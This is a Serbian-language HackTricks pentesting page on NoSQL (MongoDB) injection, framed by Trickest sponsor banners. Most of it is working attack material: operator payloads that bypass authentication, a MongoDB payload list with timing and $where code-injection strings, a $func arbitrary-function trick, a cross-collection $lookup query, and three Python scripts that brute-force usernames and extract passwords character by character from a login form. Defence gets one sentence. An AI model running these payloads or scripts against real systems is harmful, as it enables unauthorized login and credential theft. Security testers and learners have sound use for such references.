hacktricks/pentesting-web/nosql-injection.md

14 KiB

NoSQL ubacivanje


Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Eksploatacija

U PHP-u možete poslati niz tako što ćete promeniti poslati parametar sa parameter=foo na parameter[arrName]=foo.

Eksploatacije se zasnivaju na dodavanju Operatora:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Osnovna obilaznica autentikacije

Korišćenje operatora "nije jednako" ($ne) ili "veće od" ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo


NoSQL Injection

NoSQL baze podataka, kao što je MongoDB, takođe su podložne injekcijama. Uobičajeni napadi uključuju ubacivanje operacija koje nisu predviđene, kao što su $where klauzule ili JavaScript kod unutar upita.


MongoDB NoSQL Injection Primer

Evo primera kako se može izvršiti NoSQL injekcija u MongoDB bazi podataka:

POST /api/products HTTP/1.1
Host: website.com
Content-Type: application/json

{
  "name": {"$gt": ""},
  "password": {"$gt": ""}
}

U ovom primeru, ako se ne vrati greška, može se zaključiti da je baza podataka podložna NoSQL injekciji.

query = { $where: `this.username == '${username}'` }

Napadač može iskoristiti ovo unošenjem nizova poput admin' || 'a'=='a, čime će upit vratiti sve dokumente zadovoljavajući uslov tautologijom ('a'=='a'). Ovo je analogno SQL injection napadima gde se koriste unosi poput ' or 1=1-- - za manipulaciju SQL upita. U MongoDB-u, slične injekcije mogu se izvršiti korišćenjem unosa poput ' || 1==1//, ' || 1==1%00, ili admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Izdvajanje informacija o dužini

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Izdvajanje informacija o podacima

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo


NoSQL baze podataka, kao što je MongoDB, koriste se za čuvanje podataka u obliku JSON dokumenata umesto tabela. Kao rezultat toga, tradicionalne SQL injekcije neće raditi na NoSQL bazama podataka. Međutim, NoSQL baze podataka su podložne NoSQL injekcijama.

NoSQL injekcija može se desiti kada se korisnički unos ne filtrira ili validira pre nego što se prosledi bazi podataka. To može dovesti do izvršavanja neovlašćenih upita ili manipulacije podacima.

Da biste sprečili NoSQL injekcije, koristite parametrizovane upite, koristite biblioteke koje automatski filtriraju unos ili koristite ORM (Object-Relational Mapping) biblioteke koje rukovode interakcijom sa bazom podataka umesto ručnog pisanja upita.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Proizvoljno Izvršavanje Funkcija

Korišćenjem operatora $func biblioteke MongoLite (koja se koristi podrazumevano) moguće je izvršiti proizvoljnu funkciju kao u ovom izveštaju.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Dobijanje informacija iz različitih kolekcija

Moguće je koristiti $lookup da biste dobili informacije iz različite kolekcije. U sledećem primeru, čitamo iz različite kolekcije nazvane users i dobijamo rezultate svih unosa sa lozinkom koja odgovara šablonu.

NAPOMENA: $lookup i ostale funkcije agregacije su dostupne samo ako je funkcija aggregate() korišćena za pretragu umesto uobičajenijih funkcija find() ili findOne().

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

MongoDB Payloadi

Lista odavde

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Slepa NoSQL skripta

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords from POST login

Ovo je jednostavan skript koji možete modifikovati, ali prethodni alati takođe mogu obaviti ovaj zadatak.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Alati

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}